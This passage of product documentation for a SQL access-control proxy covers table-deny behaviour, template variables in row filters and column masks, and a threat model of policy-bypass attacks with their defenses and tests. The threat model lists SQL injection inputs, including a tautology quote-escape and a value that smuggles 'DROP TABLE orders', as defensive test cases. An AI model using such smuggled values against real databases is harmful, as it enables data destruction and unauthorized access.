Attach a [decision function](/guides/decision-functions) to the `table_deny` policy to make it conditional — e.g., deny only for users outside business hours, or deny only for users who are not members of a specific admin role (`!ctx.session.user.roles.includes("platform-admin")`).

## Limitations and catches

* **Uses the upstream schema name, not any alias.** The target must match the schema name as it appears in the catalog. Using a different name silently fails — the table remains visible.
* **Deny always wins.** If any enabled `table_deny` matches, the table is hidden, regardless of other policies.
* **Row filters on denied tables are irrelevant.** If a table is denied, its row filters never execute — the table doesn't exist.
* **Error message does not reveal the policy.** The user sees "table not found", not "access denied" — this prevents leaking metadata about what tables exist but are restricted.

→ Full list: [Known Limitations](/operations/known-limitations)

## See also

* [Policies overview](/guides/policies/) — choosing between deny and other types
* [Column Allow & Deny](./column-allow-deny) — for column-level visibility control
* [Decision Functions](/guides/decision-functions) — for conditional table deny

---

---
url: /reference/template-expressions.md
description: >-
  Reference for variables in row_filter and column_mask expressions — built-in
  fields, custom attributes, supported SQL syntax, and NULL semantics.
---

# Template Expressions

Template variables let row filter and column mask expressions reference the authenticated user's identity and custom attributes. The value is substituted as a typed SQL literal at query time, after the expression has been parsed. This makes template variable substitution immune to SQL injection even if the attribute value contains SQL syntax.

## Built-in variables

| Placeholder | Value | Type |
|---|---|---|
| `{user.username}` | The user's username | string |
| `{user.id}` | The user's UUID | string |

Built-in variables always take priority over custom attributes with the same name. An attribute definition with key `username` or `id` is rejected at the API.

### What else is (and isn't) available

Template expressions deliberately expose a minimal surface: the two built-ins above plus any custom attributes you've defined via **Attribute Definitions**. A few notable omissions, with the intended alternative:

| Not available in expressions | Use instead |
|---|---|
| `{user.roles}` — the user's role memberships | Assign the policy at **role scope** (`scope = "role"`). The policy only fires for members of that role, and role resolution happens inside the policy hook — no need to encode `roles.includes(...)` inside the filter body. Embedding role checks in the expression would duplicate work the hook already does and wouldn't show up in the admin UI's per-role policy view. |
| The admin-plane `is_admin` flag on `proxy_user` | Don't gate data-plane logic on this. Admin UI access and data-plane access are separate concerns. If you need "privileged users bypass this row filter", assign the policy with `scope = "role"` and make the exempt users members of the role. |
| `is_active` on `proxy_user` | Deactivated users can't connect to the proxy at all — they never reach the filter evaluator, so there's no expression need. |
| Decision-function context (`ctx.query.*`, `ctx.session.time.*`, `ctx.session.datasource.*`) | Expressions are evaluated once per row against user state and have no visibility into the query plan, wall-clock time, or the data source. If you need any of those, attach a [decision function](/guides/decision-functions) to the policy. |

→ Full comparison: [Glossary → Template expressions vs. decision functions](/reference/glossary#template-expressions-vs-decision-functions)

## Custom attribute variables

Any attribute defined via **Attribute Definitions** can be referenced as `{user.KEY}`. The produced literal is typed according to the definition's `value_type`.

| `value_type` | Placeholder example | Produced literal |
|---|---|---|
| `string` | `{user.region}` | `'us-east'` (Utf8) |
| `integer` | `{user.clearance}` | `3` (Int64) |
| `boolean` | `{user.is_vip}` | `true` (Boolean) |
| `list` | `{user.departments}` | `'eng', 'sec'` (multiple Utf8 — use with `IN`) |

### List attributes

List attributes expand to multiple comma-separated string literals — use with `IN`:

```sql
department IN ({user.departments})
```

For a user with `departments = ["engineering", "security"]`, this becomes:

```sql
department IN ('engineering', 'security')
```

An empty list expands to `NULL`:

```sql
department IN (NULL)
```

which evaluates to false (zero rows), consistent with SQL three-valued logic.

## Parse-then-substitute pattern

BetweenRows parses the filter or mask expression into a DataFusion expression tree **first**, then replaces placeholder identifiers with typed literal values. The attribute value never passes through the SQL parser.

```
org = {user.tenant}
       ↓ parsed (placeholder is a binding)
Expr::BinaryExpr(col("org"), Eq, Placeholder("user.tenant"))
       ↓ substituted at query time with user's tenant attribute
Expr::BinaryExpr(col("org"), Eq, Literal(Utf8("acme")))
```

A tenant attribute containing `' OR '1'='1` produces the literal `'x'' OR ''1''=''1'` (one escaped string) — not an injection. The user's bytes are bounded inside a single literal node.

**Unquoted placeholders in expressions.** Because substitution happens at the expression tree level, placeholders in filter and mask expressions must NOT be quoted:

```sql
-- Correct
tenant = {user.tenant}

-- Wrong (parses as a literal string "...{user.tenant}..." and doesn't substitute)
tenant = '{user.tenant}'
```

## Missing attribute behavior

When a user lacks an attribute that a policy references, BetweenRows resolves the value from the attribute definition's `default_value`:

| User has attribute? | `default_value` | Template variable result |
|---|---|---|
| Yes | (irrelevant) | User's actual value (typed literal) |
| No | Non-NULL (e.g. `"acme"`) | Default as typed literal |
| No | NULL (default) | SQL `NULL` literal |

### SQL NULL semantics

Comparisons with SQL `NULL` evaluate to `NULL` (three-valued logic), which is treated as **false** in `WHERE` clauses. A user without a `tenant` attribute, where the definition has a NULL default, sees **zero rows** because `org = NULL` is never true.

This behavior is consistent across DataFusion and upstream PostgreSQL (where filter pushdown happens). `=`, `!=`, `>`, `<`, `IN`, and most comparison operators all short-circuit to false on NULL.

::: warning
`IS NULL` and `IS NOT NULL` are the exceptions — they explicitly match NULL. Avoid writing `WHERE foo IS NULL` with user attributes unless the behavior is intentional.
:::

### Undefined attributes

If a policy references `{user.foo}` but no attribute definition named `foo` exists at all (not just "the user doesn't have it set"), the query fails with a parse error. This catches typos and stale policies that reference deleted attributes.

## Save-time validation

Filter and mask expressions are validated at policy create/update time:

* The expression is dry-run parsed with placeholder bindings.
* If the expression contains unsupported SQL syntax (e.g., `EXTRACT`, correlated subqueries), the API returns 422 immediately.
* The policy is not saved until validation passes.

This prevents silent failures at query time.

## Supported SQL syntax

Filter and mask expressions both share the same structural grammar but differ in which functions they accept. The split is deliberate: row filter expressions live on the security-critical query path and are intentionally kept narrow, while column mask expressions have access to the full DataFusion function registry because they only transform values that have already cleared filtering.

### Structural syntax (both filter and mask)

Both expression kinds accept:

* **Column references** from the target table
* **Comparison operators:** `=`, `!=`, `<>`, `>`, `<`, `>=`, `<=`
* **Logical operators:** `AND`, `OR`, `NOT`
* **`IN` / `NOT IN`** with literal lists (and list attributes — see above)
* **`BETWEEN`**, `IS NULL`, `IS NOT NULL`
* **`LIKE`** with literal patterns
* **`CASE WHEN ... THEN ... ELSE ... END`**
* **Arithmetic operators** (`+`, `-`, `*`, `/`) and string concatenation (`||`)
* **`CAST(expr AS type)`** for numeric and string types
* **Parentheses** for grouping

### Functions in filter expressions

Row filter expressions (`filter_expression` on `row_filter` policies) whitelist exactly one function:

* `COALESCE(a, b, …)`

Any other function call returns a 422 at save time with a message like *"Function 'LEFT' in filter expressions is not supported. For complex expressions, use column masks instead."* If you need string manipulation or numeric transformation to build a filter predicate, derive the value upstream and reference it as a user attribute via `{user.KEY}` instead.

### Functions in mask expressions

Column mask expressions (`mask_expression` on `column_mask` policies) resolve function calls through the full DataFusion UDF registry. This includes everything DataFusion ships with — notably:

* **String:** `LEFT`, `RIGHT`, `SUBSTR`, `SUBSTRING`, `SPLIT_PART`, `CONCAT`, `CONCAT_WS`, `UPPER`, `LOWER`, `LENGTH`, `CHAR_LENGTH`, `LTRIM`, `RTRIM`, `BTRIM`, `REPLACE`, `REGEXP_REPLACE`, `REVERSE`, `REPEAT`, `LPAD`, `RPAD`
* **Numeric:** `ROUND`, `FLOOR`, `CEIL`, `ABS`, `MOD`, `POWER`, `SQRT`, `LOG`
* **Conditional:** `COALESCE`, `NULLIF`, `CASE WHEN` (see above)
* **Type conversion:** `CAST` (see above), `TO_CHAR`, `TO_NUMBER`

The full list is whatever is registered on the session's `FunctionRegistry` — if it exists in DataFusion, it works in a mask expression.

::: warning Use function-call form, not ANSI keyword form
Some SQL functions have two parse forms. In mask expressions you must use the function-call form:

| Use this | Not this |
|---|---|
| `SUBSTRING(ssn, 1, 5)` | `SUBSTRING(ssn FROM 1 FOR 5)` |
| `TRIM(name)`, `LTRIM(name)`, `RTRIM(name)` | `TRIM(BOTH ' ' FROM name)` |

The ANSI-keyword forms parse as dedicated AST nodes that the expression converter doesn't currently handle, and save with a 422 error. This will be relaxed in a future release.
:::

### Not supported in either context

* `EXTRACT(field FROM expr)` — use `DATE_PART('field', expr)` instead
* Correlated subqueries and `EXISTS` / `IN (SELECT ...)`
* Window functions
* User-defined SQL functions written in SQL (only registered UDFs work)
* `ILIKE` (use `LIKE` on lowercased columns instead)
* `IS TRUE` / `IS FALSE` / `IS NOT TRUE` / `IS NOT FALSE` — compare against literals directly
* JSON operators `->`, `->>` inside expressions (pushed down to upstream for simple column access, but not available in filter/mask templates)
* Interval literals and `AT TIME ZONE`

If you hit an unsupported construct, the validation error at save time tells you which node failed. For common workarounds, see the [Troubleshooting](/operations/troubleshooting) page.

## Examples

### String attribute in filter

```sql
org = {user.tenant}
```

### Integer attribute in filter

```sql
sensitivity_level <= {user.clearance}
```

### Boolean attribute in CASE

```sql
CASE WHEN {user.is_vip} THEN true ELSE tenant_id = {user.tenant} END
```

### List attribute in IN

```sql
department IN ({user.departments})
```

### Mask expression with CASE

```sql
CASE WHEN {user.department} = 'hr' THEN ssn ELSE '***-**-' || RIGHT(ssn, 4) END
```

### Mask referencing both row column and user attribute

```sql
CASE WHEN region = {user.region} THEN phone ELSE '[REDACTED]' END
```

## See also

* **[Policy Model](/concepts/policy-model)** — how filter/mask expressions fit into the overall policy model
* **[User Attributes](/guides/attributes)** — how attributes are defined and set
* **[Policies](/guides/policies/)** — structural shape and validation rules per type

---

---
url: /concepts/threat-model.md
description: >-
  Known attack vectors, their defenses, and the tests that verify each defense
  holds.
---

# Threat Model

Each entry describes a potential bypass or information leak, the concrete attacks that realize it, the defense that prevents them, and the tests that verify the defense holds.

## Entry format

Each vector follows a fixed section order:

* **`Vector`** — one-sentence threat statement in present tense. What the attacker is trying to achieve.
* **`Attacks`** — numbered list of concrete exploit attempts, each a one-line descriptor (usually with an example query in backticks).
* **`Defense`** — the invariant the system maintains, described in terms of what is guaranteed. May reference specific functions and source paths (the repo is open-source).
* **`Previously`** *(optional)* — past-tense paragraph explaining an earlier defense shape that failed and was replaced. Only present when the current defense would look arbitrary without the historical context.
* **`Status`** *(optional)* — `Unmitigated` (threat known, defense not yet implemented) or `Accepted trade-off` (inherent limitation with documented rationale). Absent when the vector is fully mitigated.
* **`Tests`** — bulleted list. Each bullet names a test (`module::path::test_name (unit|integration)`) and back-references the attack number it covers (`— attack 1`). A test that covers multiple attack variants uses a comma-separated back-reference (`— attacks 1, 4`). Missing coverage is explicit: `*None — see Status*` or `*No test for attacks 2, 3 — see Status*`.

Integration tests live in `proxy/tests/policy_enforcement.rs` and spin up a real Postgres container via `testcontainers` — no manual DB setup. Unit tests live alongside the code in `proxy/src/**` as `#[cfg(test)]` modules. Run with `cargo test --workspace`.

***

## Attack vectors

### 1. SQL injection via filter\_expression

**Vector**: Admin (or an attacker with policy-write privileges) creates a policy whose `filter_expression` contains raw SQL intended to escape the filter context and inject arbitrary clauses into the rewritten query.

**Attacks**:

1. **Tautology injection** — `"filter_expression": "1=1 OR 1=1"`
2. **Comment escape** — `"filter_expression": "true /* OR 1=1 */"`
3. **Malformed syntax** — any expression that doesn't parse as a DataFusion SQL expression

**Defense**: Filter expressions are parsed via sqlparser → DataFusion `Expr` at policy save time (`validate_filter_expression` in `dto.rs`) and at query time. They are never string-concatenated into outgoing SQL. A parsed expression is injected as a `Filter` node in the logical plan, so the expression tree structure is preserved and any attempted "escape" resolves to a literal or sub-expression inside that node. Malformed syntax is rejected at save time with HTTP 422.

**Tests**:

* `admin::dto::tests::validate_filter_expression_ok` (unit) — attacks 1, 2
* `admin::dto::tests::validate_filter_expression_bad_syntax` (unit) — attack 3
* `policy_enforcement::row_filter_tenant_isolation` (integration) — verifies injected filter cannot be escaped at query time

***

### 2. Template variable injection

**Vector**: User attribute values are substituted into `filter_expression` via template variables like `{user.tenant}`. A user whose attribute value contains SQL syntax attempts to break out of the string literal context and inject additional clauses.

**Attacks**:

1. **Quote escape** — user's `tenant` attribute set to `"x' OR '1'='1"`, queried against a filter `tenant = {user.tenant}`
2. **Embedded terminator** — attribute value `"acme'; DROP TABLE orders; --"`

**Defense**: Template variable substitution constructs typed `Expr::Literal` values (`ScalarValue::Utf8`, `Int64`, `Boolean`, etc.) based on the attribute definition's `value_type`. The attribute value is inserted as a literal node in the DataFusion expression tree, never parsed as SQL. There is no string-level substitution step where an unquoted value could escape. The rewritten filter for the quote-escape attack becomes `tenant = 'x'' OR ''1''=''1'` — the entire value, quotes included, becomes one literal string that cannot match any real tenant and returns zero rows.

**Tests**:

* `policy_enforcement::template_variable_injection` (integration) — attacks 1, 2

***

### 3. Policy bypass via table aliases

**Vector**: User runs a query with a table alias hoping the alias causes the row filter matcher to miss the table and return unfiltered rows.

**Attacks**:

1. **Bare alias** — `SELECT * FROM orders AS o WHERE 1=1`

**Defense**: DataFusion's `TableScan` node always contains the real table name regardless of alias. Row filter matching uses the `TableScan`'s `table_name`, not any user-supplied alias, so the filter is injected below the scan before any alias-qualified reference exists.

**Tests**:

* `policy_enforcement::table_alias_bypass` (integration) — attack 1

***

### 4. Policy bypass via CTEs

**Vector**: User wraps the target table in a Common Table Expression hoping the CTE boundary causes the row filter matcher to miss the underlying table.

**Attacks**:

1. **CTE wrapping** — `WITH data AS (SELECT * FROM orders) SELECT * FROM data`

**Defense**: DataFusion inlines CTEs into the logical plan before policy enforcement runs. The `TableScan` for `orders` remains in the plan tree and receives the row filter injection via `transform_up`, exactly as it would without the CTE.

**Tests**:

* `policy_enforcement::cte_bypass` (integration) — attack 1

***

### 5. Column mask bypass via compound expressions

**Vector**: User references a masked column inside a compound expression in the `SELECT` list, hoping the expression evaluator operates on the raw column value rather than the masked value and returns sensitive data.

**Attacks**:

1. **Concatenation wrapper** — `SELECT ssn || '' FROM customers` where `ssn` is masked
2. **Function call wrapper** — `SELECT UPPER(ssn) FROM customers`
3. **Arithmetic on masked numeric** — `SELECT salary * 1 FROM employees` where `salary` is masked

**Defense**: Column masking is enforced at the `TableScan` level via `apply_column_mask_at_scan`, which injects a mask `Projection` directly above each scan. The mask expression replaces the column at the source — every downstream reference in the same query (compound expressions, function calls, arithmetic) resolves to the already-masked value. The raw value never leaves the scan. The result is masked-but-transformed (e.g., `***-**-6789` concatenated with an empty string), not raw.

**Status**: *Accepted trade-off* — compound expressions applied to masked values produce a transformed output that depends on the mask shape. This is safe (the result is derived from masked data, not raw data), but callers may observe unexpected output when the mask is designed for display rather than computation. Use `column_deny` when even transformations must be blocked.

**Tests**: *Covered transitively by vectors 13 and 32* — `policy_enforcement::row_filter_and_column_mask_same_column` demonstrates that downstream operations (row filter evaluation) see masked values; unit tests in `hooks::policy::tests` (`test_exec_permit_column_mask`) confirm direct reference returns the masked value.

***

### 6. Star expansion bypass of column\_deny

**Vector**: User runs `SELECT *` against a table with denied columns, hoping the star expansion produces a schema containing the denied columns (which would leak them into the result set) because the policy matcher only inspects named column references.

**Attacks**:

1. **Bare star on deny target** — `SELECT * FROM customers` where `ssn` and `credit_card` are denied

**Defense**: Enforcement happens at two levels. First, `compute_user_visibility` removes denied columns from the per-user `SessionContext` schema at connection time, so DataFusion's `*` expansion runs against a catalog that already excludes the denied columns. Second, the top-level `Projection` is rewritten by `apply_projection_qualified` as defense-in-depth, stripping any denied columns that might have reached that far.

**Tests**:

* `policy_enforcement::star_expansion_column_deny` (integration) — attack 1

***

### 7. Cross-table info leak via JOINs

**Vector**: User runs a JOIN that reads columns from a second table, hoping that per-table row filters apply only to the outer (driving) table and leave the joined table unfiltered.

**Attacks**:

1. **Two-table JOIN** — `SELECT c.ssn FROM orders o JOIN customers c ON o.customer_id = c.id`

**Defense**: Row filters are applied to each `TableScan` independently via `transform_up`. The filter on `customers` is injected below the `customers` scan; the filter on `orders` below `orders`. The JOIN node sees two already-filtered input streams.

**Tests**:

* `policy_enforcement::join_both_tables_filtered` (integration) — attack 1

***

### 8. Row filter bypass via subqueries

**Vector**: User wraps the target table in a subquery-in-FROM hoping the subquery boundary causes the row filter matcher to miss the underlying table.

**Attacks**:

1. **Subquery-in-FROM** — `SELECT * FROM (SELECT * FROM orders) sub`

**Defense**: DataFusion's logical planner inlines subqueries into the plan tree. The `TableScan` for `orders` remains present and receives the row filter injection via `transform_up`, exactly as it would without the subquery wrapping.

**Tests**:

* `policy_enforcement::subquery_bypass` (integration) — attack 1

***

### 9. access\_mode bypass

**Vector**: Datasource is configured with `access_mode = "policy_required"` (zero-trust mode). User queries a table that has no matching `column_allow` policy, hoping the query reaches the upstream database and returns rows.

**Attacks**:

1. **Unassigned table query** — `SELECT * FROM orders` against a `policy_required` datasource where `orders` has no `column_allow` policy

**Defense**: `compute_user_visibility` only marks a table as visible when at least one `column_allow` policy matches it. In `policy_required` mode, tables without a matching `column_allow` are removed from the per-user `SessionContext` catalog entirely, and `PolicyHook` additionally injects `Filter(lit(false))` at the table scan level as defense-in-depth. No upstream round-trip occurs — the empty result is materialized locally.

**Tests**:

* `policy_enforcement::policy_required_no_policy_table_not_found` (integration) — attack 1

***

### 10. Optimistic concurrency bypass on policy updates

**Vector**: Two admins edit the same policy simultaneously. Each reads version 1, each submits an update with version 1. Without optimistic-concurrency enforcement, the second write silently overwrites the first — the first admin's changes are lost with no indication, and the second admin is unaware that a concurrent edit occurred.

**Attacks**:

1. **Concurrent update with matching version** — two `PUT /policies/{id}` requests both carrying `version: 1`; exactly one must succeed and the other must return HTTP 409 Conflict

**Defense**: `PUT /policies/{id}` requires the current `version` in the request payload. The update runs as a conditional `UPDATE ... WHERE version = ?` and then increments `version`. If the row count is 0 (no row matched the conditional), the server returns HTTP 409 Conflict. The client must reload the policy to get the current version and retry the edit.

**Tests**:

* `admin::policy_handlers::tests::update_policy_version_conflict_409` (unit) — attack 1

***

### 11. column\_deny strips columns at query time

**Vector**: A user with an assigned `column_deny` policy on a sensitive column runs a query that would return that column. The column must be stripped from the result, while all other requested columns continue to flow through normally (unlike `table_deny`, which short-circuits the entire query).

**Attacks**:

1. **Projection containing denied column** — `SELECT id, ssn, name FROM customers` where `ssn` is denied; must return only `id` and `name` without the denied column and without short-circuiting the query
2. **Explicit-only denied column** — `SELECT ssn FROM customers` where `ssn` is the only requested column; must error with SQLSTATE `42501` (see vector 15), not return silent empty rows

**Defense**: `column_deny` is a first-class policy type with two-layer enforcement: (1) visibility-level, where `compute_user_visibility` removes denied columns from the per-user `SessionContext` schema at connection time, so the planner never sees the column; (2) defense-in-depth, where `apply_projection_qualified` rewrites the top-level `Projection` to drop any denied columns that slipped through (e.g., via decision function opt-outs). Policy mutations trigger an immediate `SessionContext` rebuild for all active connections on the datasource, so deny policies take effect without requiring users to reconnect.

**Tests**:

* `policy_enforcement::star_expansion_column_deny` (integration) — attack 1 (demonstrates the denied column is stripped from a mixed projection)
* `policy_enforcement::denied_column_error` (integration) — attack 2 (see vector 15 for full coverage)

***

### 12. Disabled policies still enforced in visibility layer

**Vector**: Admin disables a `column_deny` policy (sets `is_enabled = false`), expecting the denied column to reappear in the user's schema and query results. The policy should stop contributing to enforcement immediately.

**Attacks**:

1. **Disabled deny still hides column** — admin disables a `column_deny` policy on `ssn`; user queries `information_schema.columns` or `SELECT ssn FROM customers` and the column remains hidden

**Defense**: `compute_user_visibility()` loads policies only for *enabled* policy IDs via an `is_enabled = true` filter in the database query. Disabled policies contribute nothing to `visible_tables` or `denied_columns`. Policy mutations trigger an immediate `SessionContext` rebuild for all active connections on the datasource, so schema visibility changes take effect without requiring the user to reconnect.

**Previously**: `compute_user_visibility()` loaded policies for ALL assigned policy IDs regardless of enable state. The `column_access deny` branch did not check the parent policy's `is_enabled` flag, so disabling a policy had no effect on schema visibility — the column stayed hidden until the admin also unassigned or deleted the policy.

**Tests**:

* `engine::tests::test_disabled_policy_column_deny_not_applied` (unit) — attack 1 (disabled → `denied_columns` empty)
* `engine::tests::test_enabled_policy_column_deny_applied` (unit) — control (enabled → `denied_columns` contains `ssn`)

***

### 13. Column mask had no effect — original values returned

**Vector**: Admin creates a `column_mask` policy with a non-trivial expression (e.g. `'***-**-' || RIGHT(ssn, 4)`) expecting sensitive values to be replaced in the result. The mask must successfully parse, resolve against the real query plan, and substitute in place of the raw column.

**Attacks**:

1. **Literal mask** — policy sets `mask_expression = 'REDACTED'`; every SSN value in the result must equal `"REDACTED"`
2. **Mask combined with row filter** — row filter narrows to 3 rows, mask replaces `ssn` with `'***'`; all 3 rows returned and all SSN values masked
3. **Deny overrides mask on same column** — a column is both masked and denied; deny takes priority and the column is absent from the result entirely

**Defense**: `parse_mask_expr` is synchronous and uses `sql_ast_to_df_expr(..., Some(ctx))` — the same sqlparser → DataFusion AST converter used for row filter expressions, extended with the session's `FunctionRegistry` for built-in function lookup. The parsed expression uses unqualified column references (`col("ssn")`) that resolve against the real query plan's `TableScan`. No standalone plan is built, and no alias wrapping occurs inside the parser — `apply_projection` provides the final column alias.

**Previously**: `parse_mask_expr` built a standalone SQL plan (`SELECT {mask} AS {col} FROM {schema}.{table}`) via `ctx.sql()`, then extracted the first `Projection` expression and injected it into the real query plan. Two problems compounded: (a) the extracted expression was already `Alias(inner, "ssn")` from the standalone plan's `AS ssn` clause, and `apply_projection` wrapped it again with `.alias(col_name)` — producing `Alias(Alias(...))`, which DataFusion silently resolved by dropping the inner alias and causing column-not-found or type-mismatch errors at execution time; and (b) the inner expression carried table-qualified column references (e.g. `public.customers.ssn`) bound to the standalone plan's `TableScan`, which did not resolve against the real query plan, causing the mask to evaluate to NULL or error out. Raw SSN values were returned in both failure modes.

**Tests**:

* `hooks::policy::tests::test_exec_permit_column_mask` (unit) — attack 1
* `hooks::policy::tests::test_exec_column_mask_with_row_filter` (unit) — attack 2
* `hooks::policy::tests::test_deny_overrides_mask` (unit) — attack 3

***

### 14. Two permit policies with row\_filter combined as union instead of intersection

**Vector**: A user is assigned two narrow `row_filter` permit policies on the same table (e.g. Policy A: `org_id = 'acme'`, Policy B: `status = 'active'`). An incorrect combinator would return the union of allowed rows — the user would see rows from Policy A *or* Policy B, including rows from other tenants or inactive records that neither policy alone intended to expose.

**Attacks**:

1. **Disjoint filter union** — user assigned policies with `org_id = 'acme'` and `org_id = 'globex'`; a union would return rows from both tenants, an intersection returns zero rows (correct behavior)
2. **Overlapping filter union** — user assigned `org_id = 'acme'` and `name != 'Charlie'`; a union would return all acme rows plus all non-Charlie rows, an intersection returns only acme rows that are not Charlie

**Defense**: Cross-policy row filters are combined with AND semantics in `PolicyEffects::collect()` — seed `lit(true)`, fold with `.and()`. Each permit policy adds a restriction; users see the intersection of all matching permits. Within a single policy, multiple `row_filter` entries are also AND'd (unchanged). Deny policies are unaffected — the deny short-circuit on first match is equivalent to OR across denies.

**Previously**: Cross-policy row filters were combined with OR semantics (seed `lit(false)`, fold with `.or()`). The intent was "any permit match grants access," but this allowed a user assigned multiple narrow policies to see the union of all their allowed sets — broader than any single policy intended.

**Tests**:

* `hooks::policy::tests::test_exec_two_permits_row_filter_and` (unit) — attack 1 (disjoint → 0 rows)
* `hooks::policy::tests::test_exec_two_permits_row_filter_and_overlapping` (unit) — attack 2 (overlapping → intersection only)
* `hooks::policy::tests::test_row_filters_and_across_policies` (unit) — plan structure verification (AND expression with both filter values)

***

### 15. SELECT on denied column returns silent empty rows instead of an error

**Vector**: User runs a query that selects only denied columns. A silent empty result (rows with no columns) would be misleading — the user might conclude the column exists but is empty in the database, rather than understanding it is policy-blocked.

**Attacks**:

1. **Select only a denied column** — `SELECT ssn FROM customers` where `ssn` is denied
2. **Select multiple denied columns** — `SELECT ssn, credit_card FROM customers` where both are denied

**Defense**: After column-deny stripping in `PolicyHook`, if the resulting projection expression list is empty, the hook returns a SQLSTATE `42501` (insufficient\_privilege) error naming the denied columns — before any plan is built. The user receives an explicit access-denied error, not a silent zero-column result set.

**Previously**: When all selected columns were stripped by `column_access deny`, `new_exprs` became empty and `LogicalPlanBuilder::project([])` produced a zero-column projection that DataFusion executed successfully — returning N rows with no column data. Clients rendered this as a screen full of empty rows, which looked like "the column exists but has null values for every row" rather than "access denied."

**Tests**:

* `policy_enforcement::denied_column_error` (integration) — attack 1 (asserts the response is an error, not a result set)

***

### 16. Deny semantics and column\_mask are mutually exclusive by type system construction

**Vector**: Admin attempts to create an "inconsistent" policy that combines deny semantics with a mask expression, hoping the mask silently fails to apply and the raw column is returned while the policy appears active.

**Attacks**:

1. **column\_mask without mask expression** — POST `/policies` with `policy_type = "column_mask"` and no `mask_expression`
2. **table\_deny with column targets** — POST `/policies` with `policy_type = "table_deny"` and a `columns` array in the definition

**Defense**: The flat `policy_type` enum eliminates the "deny + mask" combination by construction. There is no `effect` field. `column_mask` is always permit semantics and requires a `mask_expression`. `column_deny` and `table_deny` are always deny semantics and reject any `definition` content that would overlap with permit types. `validate_definition()` in `dto.rs` enforces these shape constraints at API level, returning HTTP 422 for any mismatch. The wrong combination is unrepresentable in the type system — not merely validated against at runtime.

**Tests**:

* `admin::policy_handlers::tests::create_column_mask_requires_columns_422` (unit) — attack 1
* `admin::policy_handlers::tests::create_table_deny_columns_rejected_422` (unit) — attack 2

***

### 17. table\_deny with wildcard tables blocks the whole schema

**Vector**: Admin creates a `table_deny` policy targeting an entire schema with `tables: ["*"]`, expecting every current and future table in that schema to be blocked for the assigned user while tables in other schemas remain accessible.

**Attacks**:

1. **Query a wildcard-denied table** — `SELECT * FROM analytics.events` against a datasource where a `table_deny` targets `{ schemas: ["analytics"], tables: ["*"] }`; must fail with "table not found" (see vector 26 for why the error is "not found" and not "access denied")
2. **Query an un-denied table in another schema** — `SELECT * FROM public.orders` against the same datasource; must return normal results (other schemas unaffected)

**Defense**: `compute_user_visibility()` in `engine/mod.rs` processes `table_deny` policies and populates `denied_tables` with all matching `(df_alias, table)` pairs. `build_user_context()` removes tables in `denied_tables` from the per-user `SessionContext` catalog entirely, so they are invisible in both `information_schema` queries and direct table references. Because `tables: ["*"]` matches every table in the target schema, the entire schema becomes inaccessible. This applies in both `open` and `policy_required` modes. At query time, `PolicyHook` short-circuits on the first `table_deny` match as defense-in-depth.

**Tests**:

* `policy_enforcement::object_access_deny_schema` (integration) — attacks 1, 2

***

### 18. table\_deny on a specific table leaves other tables in the same schema accessible

**Vector**: Admin creates a `table_deny` policy on a specific table (e.g. `public.payments`), expecting only that table to be blocked while the rest of the same schema remains fully accessible. An over-broad implementation could accidentally also deny sibling tables in the same schema.

**Attacks**:

1. **Query the specifically-denied table** — `SELECT * FROM public.payments` where `table_deny` targets `{ schemas: ["public"], tables: ["payments"] }`; must fail with "table not found"
2. **Query a sibling table in the same schema** — `SELECT * FROM public.orders` on the same datasource; must return normal results (other tables unaffected)

**Defense**: `compute_user_visibility()` matches `table_deny` policies against each candidate `(schema, table)` pair via `matches_schema_table()`. An exact-name pattern like `"payments"` matches only the `payments` table, not other tables in `public`. Matching tables are added to `denied_tables` and removed from the per-user catalog; non-matching tables are untouched. At query time, `PolicyHook` short-circuits on the first `table_deny` match as defense-in-depth.

**Tests**:

* `policy_enforcement::object_access_deny_table` (integration) — attacks 1, 2

***

### 19. Glob pattern matching bypassed with unexpected table name

**Vector**: Admin uses a glob pattern in policy target matching (e.g. `tables: ["raw_*"]`) expecting all tables whose names start with `raw_` to match. A mismatch between the pattern matcher's semantics and the admin's mental model would leak rows from tables the admin believed were covered.

**Attacks**:

1. **Prefix glob on table name** — pattern `"raw_*"` must match `raw_events`, `raw_orders`; must not match `orders_raw` or unrelated tables
2. **Prefix glob on schema name** — pattern `"staging_*"` must match `staging_us`, `staging_eu`; must not match `production_staging`
3. **Combined schema + table glob** — pattern `{schemas: ["raw_*"], tables: ["*"]}` must match every table in any `raw_*` schema
4. **Case-sensitive matching** — pattern `"Orders"` must not match `orders` (SQL identifiers are case-sensitive here)
5. **Wildcard in middle or suffix** — patterns not ending in `*` fall back to exact match

**Defense**: `matches_pattern()` in `policy_match.rs` implements prefix glob: a pattern ending in `*` becomes a `starts_with(prefix)` check against the candidate string; all other patterns are exact matches. `matches_schema_table()` delegates to `matches_pattern()` for both schema and table fields. The same function is used by both `PolicyHook` (query-time) and `compute_user_visibility()` (connect-time), ensuring the two enforcement paths cannot drift in semantics.

**Tests**:

* `policy_match::tests::test_matches_pattern_exact` (unit) — exact match baseline
* `policy_match::tests::test_matches_pattern_wildcard_any` (unit) — bare `*` matches everything
* `policy_match::tests::test_matches_pattern_prefix_glob` (unit) — attack 1 prefix case
* `policy_match::tests::test_matches_pattern_suffix_glob` (unit) — non-prefix patterns fall back to exact
* `policy_match::tests::test_matches_pattern_case_sensitive` (unit) — attack 4
* `policy_match::tests::test_table_glob_prefix_match` (unit) — attack 1 (table glob)
* `policy_match::tests::test_table_glob_prefix_no_suffix` (unit) — negative case for attack 1
* `policy_match::tests::test_schema_glob_prefix_match` (unit) — attack 2
* `policy_match::tests::test_glob_both_schema_and_table` (unit) — attack 3

***

### 20. Policy type encodes grant vs strip — no ambiguous action field

**Vector**: Admin sets an `action` field inside a policy definition that conflicts with the policy's effect, hoping the resulting ambiguity causes visibility decisions to silently take the wrong branch — either granting access that should be denied, or hiding tables that should be visible.

**Attacks**:

1. **Grant a denied column via wildcard** — `column_allow` policy with `columns: ["*"]` in `policy_required` mode must grant visibility to every column in the target table
2. **column\_deny alone does not grant visibility** — a user with only a `column_deny` policy on a table in `policy_required` mode must not see the table at all (deny alone is not a permit)

**Defense**: The `action` field was removed entirely from policy definitions. Intent is now encoded directly in `policy_type`:

* `column_allow` — always an allowlist. Grants table access in `policy_required` mode and specifies the visible column set.
* `column_deny` — always a denylist. Strips columns at query time; does not grant access on its own.

`compute_user_visibility()` branches on `policy_type` directly. `validate_targets()` in `dto.rs` enforces that both `column_allow` and `column_deny` require a non-empty `columns` array. The type system makes "permit-effect with deny-shaped definition" unrepresentable.

